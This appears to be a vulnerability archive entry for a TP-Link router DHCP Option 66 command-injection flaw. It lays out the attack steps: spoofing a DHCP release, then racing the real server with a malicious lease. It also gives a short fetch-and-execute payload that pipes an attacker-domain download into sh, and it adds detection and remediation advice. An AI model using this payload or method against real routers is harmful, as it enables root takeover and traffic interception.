TP-Link DHCP Option 66 Unauthenticated RCE — CVE-2026-11834
by Matt Graham (mattgsys) · 2026-07-05
- Severity
- Critical
- CVE
- CVE-2026-11834
- Category
- network
- Affected product
- TP-Link router firmware (libcmm.so DHCP client), tested on Archer C20 V6
- Affected versions
- Archer C20 V6, firmware 0.9.1 Build 4.19 (EU); vulnerable code path shared across other TP-Link models/firmware
- Disclosed
- 2026-07-05
- Patch status
- unpatched
References
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-05 |
| Last Updated | 2026-06 |
| Author / Researcher | Matt Graham (mattgsys) |
| CVE / Advisory | CVE-2026-11834 |
| Category | network |
| Severity | Critical |
| CVSS Score | Not specified in source |
| Status | Weaponized |
| Tags | tp-link, router, dhcp, command-injection, cwe-78, race-condition, rce, iot |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | TP-Link router firmware (libcmm.so DHCP client), tested on Archer C20 V6 |
| Versions Affected | Archer C20 V6, firmware 0.9.1 Build 4.19 (EU); vulnerable code path shared across other TP-Link models/firmware |
| Language / Platform | Python 3 with Scapy, targeting embedded Linux router firmware over raw Ethernet/DHCP |
| Authentication Required | No |
| Network Access Required | Yes (attacker must be on the same network segment as the target’s WAN/DHCP-client interface) |
Summary
TP-Link router firmware processes DHCP Option 66 (“TFTP Server Name”) from a lease it acquires on its WAN interface by concatenating the value unsanitized into a tftp shell command inside libcmm.so, which is ultimately passed to system() via util_execSystem(). Because Option 66 is truncated to 16 characters on-device, the practical payload is a compact fetch-and-execute string such as ;curl <domain>|sh; that pulls a full second-stage payload over HTTP. The attacker does not need to control the network’s legitimate DHCP server: the PoC races it by spoofing a DHCP RELEASE for the target (clearing its lease), waiting for the target to re-request an address, and then answering the target’s broadcast with a malicious OFFER/ACK carrying the Option 66 payload before the legitimate server can respond. This results in unauthenticated root command execution on the router.
Vulnerability Details
Root Cause
Multiple functions in libcmm.so build a tftp command string by concatenating the DHCP Option 66 (“TFTP Server Name”) value without sanitization, then execute it via util_execSystem() → system(), allowing shell metacharacters in the Option 66 value to inject and execute arbitrary commands as root.
Attack Vector
- Attacker on the same network segment as the target’s WAN-facing DHCP client interface spoofs a DHCP RELEASE on the target’s behalf, clearing its lease binding on the legitimate DHCP server.
- Attacker waits for the target to broadcast a new DHCP DISCOVER/REQUEST to re-acquire an address.
- Attacker races the legitimate DHCP server, responding first with a malicious DHCP OFFER/ACK whose Option 66 field carries a short injection payload (e.g.
;curl <attacker-domain>|sh;, truncated to 16 characters on-device). - The router’s DHCP client processes the lease, invokes the vulnerable
tftp-command-building code inlibcmm.so, and the injected shell command executes as root, typically fetching and running a larger second-stage payload from an attacker-controlled HTTP server.
Impact
Unauthenticated, network-adjacent remote code execution as root on the affected router, enabling full device takeover, traffic interception/manipulation, and use as a pivot point into the local network.
Environment / Lab Setup
Target: TP-Link Archer C20 V6, firmware 0.9.1 Build 4.19 (EU)
Attacker: Python 3, Scapy, root/raw-socket privileges, same network segment as target's WAN interface
Proof of Concept
PoC Script
See
cve-2026-11834.pyin this folder.
| |
The script spoofs a DHCP RELEASE for the target to clear its lease, listens for the target’s subsequent DHCP REQUEST, and races the legitimate DHCP server by sending a malicious ACK whose Option 66 field carries the injection payload — delivering fetch-and-execute code that runs as root on the target router.
Detection & Indicators of Compromise
Signs of compromise:
- Router issuing outbound HTTP/curl requests to unfamiliar domains shortly after a DHCP lease renewal
- Unexplained root-level processes or persistence artifacts on the router after a WAN interface DHCP renewal
- Network captures showing a second host answering DHCP broadcasts alongside the legitimate DHCP server
Remediation
| Action | Detail |
|---|---|
| Primary fix | Apply TP-Link’s firmware update addressing DHCP Option 66 handling (see vendor advisory) |
| Interim mitigation | Restrict untrusted devices from the router’s WAN-facing broadcast domain, use DHCP snooping/port security on managed switches, and monitor for rogue DHCP servers |
References
Notes
Mirrored from https://github.com/mattgsys/CVE-2026-11834 on 2026-07-05.
| |